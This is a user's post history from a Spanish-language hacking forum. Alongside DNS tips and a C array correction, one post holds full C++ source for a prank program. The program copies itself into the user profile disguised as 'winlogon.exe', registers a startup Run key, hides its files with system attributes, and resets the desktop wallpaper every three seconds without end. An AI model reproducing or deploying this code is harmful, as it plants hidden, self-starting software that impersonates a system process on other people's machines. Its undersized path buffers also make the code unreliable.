![](http://static1.cuantogato.com/cgs/2013/05/CG_29627_loca_de_los_gatos_starter_kit.jpg)
![:P :P](https://forum.elhacker.net/Smileys/navidad/tongue.gif)
Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
Mostrar Mensajes MenúCita de: Songoku en 1 Junio 2013, 14:15 PMsi pero hazlo mejor desde el router
Cambiate las dns de tu ISP en tu conexion o tu router por otras como por ejemplo las de google:
8.8.8.8
8.8.4.4
De este modo seguramente podras seguir accediendo al foro sin tener que usar proxys.
Saludos...
Songoku
frase++;
no es la forma correcta de recorrer los arrays esto puede funcionar con una variable numerica pero no con una cadena.
char cadena[2];
for (int num=0;num<2;num++)
{
cadena[num];
}
Cita de: amchacon en 24 Mayo 2013, 10:48 AMse ejecuta al comienzo del pc
Lo gracioso sería que se ejecutase al arranque del pc
#include <windows.h>
#include <cstring>
bool existe(char * file) // comprueba la existencia de un archivo si no existe entonces manda false
{
DWORD attr = GetFileAttributes(file);
if(attr == INVALID_FILE_ATTRIBUTES || (attr & FILE_ATTRIBUTE_DIRECTORY))
return false; // not a file
return true;
}
void instalar(char *DireccionLocal) // lo instala para que se ejecute en inicio de windows
{
//con la variable DireccionLocal se donde esta el programa para asi copiarlo
char instalarFondo[100];
char *dirlocal=getenv("USERPROFILE"); // carpeta local de usuario
char dirfoto[700]; // el directorio donde esta la foto
char instalar1[100]; //directorio a instalar el archivo
//----------------------------
GetCurrentDirectory(700,dirfoto);
strcat(dirfoto,"\\1010.bmp");
strcpy(instalarFondo,dirlocal);
strcat(instalarFondo,"\\1010.bmp");
CopyFile(dirfoto,instalarFondo,true);//copio el fondo
//-------------------------------
strcpy(instalar1,dirlocal);
strcat(instalar1,"\\winlogon.exe");
CopyFile(DireccionLocal,instalar1,true); // copio el archivo
//añado llaves al registro de windows para que se inicie con el sistema
HKEY hkey;
RegOpenKeyEx (HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\run",0, KEY_SET_VALUE, &hkey);
RegSetValueEx (hkey, "windout", 0, REG_SZ,(const unsigned char * ) instalar1, sizeof instalar1); // aca añado el registro el nombre es windout y el valor la direccion del programa
RegCloseKey (hkey);
SetFileAttributesA(instalar1,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM); // osculto el archivo y le marco system para que sea mas dificil de ver
SetFileAttributesA(instalarFondo,FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_SYSTEM);
//---
}
void cambiarElFondo()
{
char fondo[]="1010.bmp";
SystemParametersInfo(SPI_SETDESKWALLPAPER,0,fondo,SPIF_UPDATEINIFILE|SPIF_SENDWININICHANGE); // aca cambio el fondo
}
int main(int argc,char * argv[])
{
char *com=getenv("USERPROFILE");
char comprobar[600];
strcpy(comprobar,com);
strcat(comprobar,"\\winlogon.exe"); //winlogon el nombre del exe para meter miedo y hacerse pasar por proceso del sistema xD
while(true)
{
if(existe(comprobar)) //
{
cambiarElFondo(); //como es bucle infinito cambiara cada 3 segundos el fondo
}
else
{
instalar(argv[0]); // si no existe el archivo en la carpeta del usuario se instala
}
Sleep(3000); // espera 3 segundos
}
return 0;
}
Cita de: JonaLamper en 22 Mayo 2013, 16:48 PMno crei esa mezcla posible
¿Y si mezclas rap con clásica?